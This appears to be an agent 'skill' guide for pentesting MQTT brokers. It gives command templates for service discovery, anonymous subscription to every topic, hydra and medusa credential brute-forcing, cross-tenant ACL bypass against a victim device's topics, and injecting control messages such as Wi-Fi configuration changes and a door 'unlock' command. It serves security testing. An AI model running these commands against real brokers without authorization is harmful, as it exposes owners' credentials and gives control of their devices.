Mqtt Pentesting

MQTT Pentesting Skill

A comprehensive guide for pentesting MQTT (Mosquitto) services, commonly found in IoT environments.

When to Use This Skill

Use this skill when:

• Port 1883 (or non-standard MQTT ports) is open on a target
• You need to enumerate MQTT topics and messages
• Testing IoT device communication protocols
• Checking for authentication bypass or weak ACLs
• Analyzing publish/subscribe message flows
• Looking for plaintext credential exposure

Quick Start

# Subscribe to all topics on a broker
mosquitto_sub -h <host> -p <port> -t "#" -v

# Subscribe to system topics
mosquitto_sub -h <host> -p <port> -t "$SYS/#" -v

# Publish a test message
mosquitto_pub -h <host> -p <port> -t "test/topic" -m "Hello World"

Step 1: Service Discovery

Identify MQTT Services

MQTT typically runs on port 1883, but IoT devices often use non-standard ports:

# Nmap scan for MQTT
nmap -p 1883 --script mqtt-discover <target>

# Check for MQTT on common alternative ports
nmap -p 1883,8001,8883,8080,9001 <target>

# Shodan queries for reconnaissance
# port:1883 MQTT
# port:8001 MQTT

Verify MQTT Protocol

Use Wireshark to confirm MQTT traffic on suspicious ports:

• Look for CONNECT/CONNACK packets
• Check for SUBSCRIBE/PUBLISH frames
• Note: MQTT is often plaintext (no TLS)

Step 2: Connection Testing

Test Anonymous Access

Many MQTT brokers allow unauthenticated connections:

# Try connecting without credentials
mosquitto_sub -h <host> -p <port> -t "#" -v

# Check connection return codes
# 0x00 = Connection accepted
# 0x05 = Connection refused (not authorized)

Use the MQTT Scanner Script

Run the bundled scanner to automate connection testing:

python scripts/mqtt_scanner.py --host <target> --port <port>

This script will:

• Attempt anonymous connection
• Subscribe to all topics (#)
• Subscribe to system topics ($SYS/#)
• Display received messages in real-time

Step 3: Topic Enumeration

Subscribe to Common Topics

# All topics
mosquitto_sub -h <host> -p <port> -t "#" -v

# System topics (broker info)
mosquitto_sub -h <host> -p <port> -t "$SYS/#" -v

# Common IoT topic patterns
mosquitto_sub -h <host> -p <port> -t "home/#" -v
mosquitto_sub -h <host> -p <port> -t "device/#" -v
mosquitto_sub -h <host> -p <port> -t "sensor/#" -v
mosquitto_sub -h <host> -p <port> -t "control/#" -v

IoT-Specific Topic Patterns

Consumer IoT platforms often use predictable topic structures:

# Gateway/hub device topics
mosquitto_sub -h <broker> -p <port> -t "/gateway/<deviceId>/#" -v

# App control topics
mosquitto_sub -h <broker> -p <port> -t "/app/<deviceId>/#" -v

# Admin/maintenance topics (may leak credentials)
mosquitto_sub -h <broker> -p <port> -t "/admin/#" -v
mosquitto_sub -h <broker> -p <port> -t "/config/#" -v
mosquitto_sub -h <broker> -p <port> -t "/sys/#" -v

Step 4: Authentication Testing

Brute-Force Credentials

If authentication is required, test common credentials:

# Using hydra for MQTT brute-force
hydra -l <username> -P <wordlist> <target> mqtt

# Using medusa
medusa -h <target> -u <username> -P <wordlist> -M mqtt

Test with Known Credentials

mosquitto_sub -h <host> -p <port> -u <username> -P <password> -t "#" -v

Step 5: ACL Bypass Testing

Cross-Tenant Access

Test if you can access other tenants' devices:

# Publish to another device's topic
mosquitto_pub -h <broker> -p <port> \
  -u <username> -P <password> \
  -t "/tenant/<victimDeviceId>/tx" \
  -m '{"command":"power","value":"on"}'

# Subscribe to another tenant's topics
mosquitto_sub -h <broker> -p <port> \
  -u <username> -P <password> \
  -t "/tenant/<victimDeviceId>/#" -v

Common ACL Bypass Patterns

# Try publishing to admin topics
mosquitto_pub -h <broker> -p <port> \
  -t "/admin/config" \
  -m '{"wifi_ssid":"evil","wifi_pass":"password"}'

# Try device control commands
mosquitto_pub -h <broker> -p <port> \
  -t "/device/<id>/control" \
  -m '{"method":"Device.setState","params":{"state":{"power":"on"}}}'

Step 6: Message Injection

Publish Test Messages

# Simple message
mosquitto_pub -h <host> -p <port> -t "test/topic" -m "Hello World"

# JSON payload
mosquitto_pub -h <host> -p <port> -t "device/control" \
  -m '{"action":"unlock","device":"door1"}'

# With QoS level
mosquitto_pub -h <host> -p <port> -t "topic" -m "message" -q 1

MQTT Packet Types Reference

Common Vulnerabilities

1. Plaintext Credentials

• MQTT does not use encryption by default
• Credentials sent in clear text
• Use Wireshark to capture CONNECT packets

2. Missing Authentication

• Many brokers allow anonymous access
• Check return code 0x00 (accepted) vs 0x05 (refused)

3. Weak Topic ACLs

• Topics namespaced only by deviceId
• Any authenticated user can access all devices
• Test cross-tenant access

4. Sensitive Data Leakage

• Wi-Fi credentials in config topics
• Device state information
• User activity data

Tools

Mosquitto Clients

apt-get install mosquitto mosquitto-clients

Python MQTT Client

pip install paho-mqtt

Additional Tools

• python-mqtt-client-shell
• mqtt-pwn

Reporting

Document findings with:

• Broker address and port
• Authentication status (open/required)
• Enumerated topics
• Sensitive data discovered
• ACL bypass capabilities
• Sample messages captured

References

• How a $20 Smart Device Gave Me Access to Your Home
• MQTT Protocol Specification
• Mosquitto Documentation